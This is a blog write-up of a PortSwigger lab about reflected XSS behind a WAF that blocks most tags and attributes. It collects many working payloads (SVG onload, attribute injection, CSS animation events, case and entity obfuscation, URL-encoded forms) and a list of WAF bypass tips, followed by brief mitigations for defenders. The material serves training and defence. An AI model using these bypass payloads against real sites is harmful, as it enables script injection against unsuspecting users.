Skip to main content
XsiSec.com
HomeReposBlogProjectsPortfolio
© 2026 XsiSec.com
Security rules |security.txt
Updated 2026-08-15 · v1.0.0+2026-08-14.82f92cb · 82f92cb
← Back to overview
Security article

Reflected XSS into HTML context with most tags and attributes blocked

Reflected XSS into HTML context with most tags and attributes blocked: Perform a reflected XSS in the search feature that is protected by a WAF, and trigger print() in the victim’s browser. • PortSwigger • Reflected-XSS, XSS • lab3, portswigger

2022-09-144 tags
Tags

🎯 Objective

Perform a reflected XSS in the search feature that is protected by a WAF, and trigger print() in the victim’s browser.


🧩 Lab Brief

  • Vulnerability: Reflected XSS in a querystring parameter (e.g., ?search=).
  • Constraint: Requests containing obvious XSS vectors (e.g., <script>, javascript: URLs, common events) are filtered by a WAF.
  • Success Condition: Payload executes print().

🛠️ Environment & Assumptions

  • Target endpoint (example):
    text
    https://www.xsisec.vulnerablesite.com/?search=<payload>
  • Reflection occurs in an HTML/DOM context derived from document.URL or location.search.
  • WAF blocks common signatures but does not normalize/parse all HTML attributes and event variants.

📌 Methodology (Repeatable)

  1. Confirm reflection: Supply a unique marker (xsiSEC123) in search and verify it appears in the DOM (DevTools → Elements).
  2. Identify context: Determine whether the reflection is inside HTML text, attribute, or JS string.
  3. Select sink strategy: Choose an element/event that auto-fires without user interaction (e.g., onload, onfocus, onanimationstart, SVG handlers, etc.).
  4. Apply light obfuscation: Case toggling, attribute order shuffling, encoded separators, or less-common event names.
  5. Test safely: Use alert(1) first. When confirmed, switch to print() to complete the lab.

🧪 Working Payloads (Minimal → Obfuscated)

Replace ⟨PAYLOAD⟩ into ?search=⟨PAYLOAD⟩. Always URL‑encode when sending.

A. Attribute Injection (auto‑executing events)

Candidate tag: <img> or <svg> placed into an attribute context that browser fixes.

  • 1) Lightweight (often blocked by “obvious” filters)

    html
    " onload=print() x="
  • 2) Case & whitespace shuffle

    html
    " oNlOaD = print() x="
  • 3) HTML entity separation

    html
    " onload=pr&#x69;nt() x="
  • 4) Inline style + animation (fires without interaction)

    html
    " style=animation-name:a;animation-duration:1s onanimationstart=print() x="
  • 5) SVG (commonly missed by naive filters)

    html
    </title><svg/onload=print()>
  • 6) MathML / XML‑ish fallback (if supported by target)

    html
    </p><math href=x onmouseover=print()>.

B. Text‑Context → New Tag Injection

When the reflection is pure text between tags, introduce a tag:

html
<img src=x onerror=print()>

WAF bypass variants

html
<Img sRc=x oNeRrOr=print()>
<svg onload=print()>
<iframe srcdoc="<svg onload=print()>">

C. URL‑Encoded Examples (drop‑in)

  • Attribute injection (simple):

    text
    %22%20onload%3Dprint()%20x%3D%22
  • SVG onload:

    text
    %3C%2Ftitle%3E%3Csvg%2Fonload%3Dprint()%3E
  • Animation trick:

    text
    %22%20style%3Danimation-name%3Aa%3Banimation-duration%3A1s%20onanimationstart%3Dprint()%20x%3D%22

🔍 Step‑by‑Step (What I Did)

  1. Enumerated allowed markup/events

    • Used Burp/DevTools to try low‑noise injections and note what the WAF blocked (e.g., <script>, javascript:).
  2. Selected auto‑fire vector

    • Chose onload/onanimationstart where possible to avoid clicks/hover.
  3. Applied light obfuscation

    • Case toggling in attribute names, entity‑encoded characters inside function names, and benign filler attributes.
  4. Validated with alert(1)

    • Once confirmed, replaced with print() to meet the lab goal.

✅ Final Confirmed Payload (example)

Use the SVG onload variant (widely effective vs naive WAFs):

html
</title><svg/onload=print()>

Encoded URL parameter:

text
?search=%3C%2Ftitle%3E%3Csvg%2Fonload%3Dprint()%3E

Navigate to:

text
https://www.xsisec.vulnerablesite.com/?search=%3C%2Ftitle%3E%3Csvg%2Fonload%3Dprint()%3E

The page renders, the SVG node is parsed, and print() is executed.


🧯 Common WAF Bypass Tips (Quick Reference)

  • Case randomization: onLoad, OnLoAd, etc.
  • Attribute spacing: onload = print()
  • Benign junk attributes: x=1 y=2
  • Entity split: pr&#x69;nt() → print()
  • Alternate elements: svg, math, iframe[srcdoc]
  • CSS event path: onanimationstart, ontransitionend
  • Avoid banned tokens: Skip javascript: and <script>
  • Encode early: Always percent‑encode for transport

🧱 Mitigations (for defenders)

  • Context‑aware output encoding (HTML/attr/JS/URL).
  • CSP with nonces (script-src 'nonce-…') and no inline.
  • Avoid putting raw URL/query into DOM; use safe text APIs.
  • WAF ≠ fix: treat it as signal, not a primary control.

🔚 TL;DR

  • Confirm reflection → identify context → pick auto‑firing sink → obfuscate lightly → ship print().
  • Tried: attribute injection, SVG onload, CSS animation events.
  • Working solution: </title><svg/onload=print()> (URL‑encoded in the querystring).
Navigate

In this post

  1. 01🎯 Objective
  2. 02🧩 Lab Brief
  3. 03🛠️ Environment & Assumptions
  4. 04📌 Methodology (Repeatable)
  5. 05🧪 Working Payloads (Minimal → Obfuscated)
  6. 06A. Attribute Injection (auto‑executing events)
  7. 07B. Text‑Context → New Tag Injection
  8. 08C. URL‑Encoded Examples (drop‑in)
  9. 09🔍 Step‑by‑Step (What I Did)
  10. 10✅ Final Confirmed Payload (example)
  11. 11🧯 Common WAF Bypass Tips (Quick Reference)
  12. 12🧱 Mitigations (for defenders)
  13. 13🔚 TL;DR
Search
Explore

Popular tags

Browse all 30 tags

Comments

0 comments

No comments yet — be the first to comment.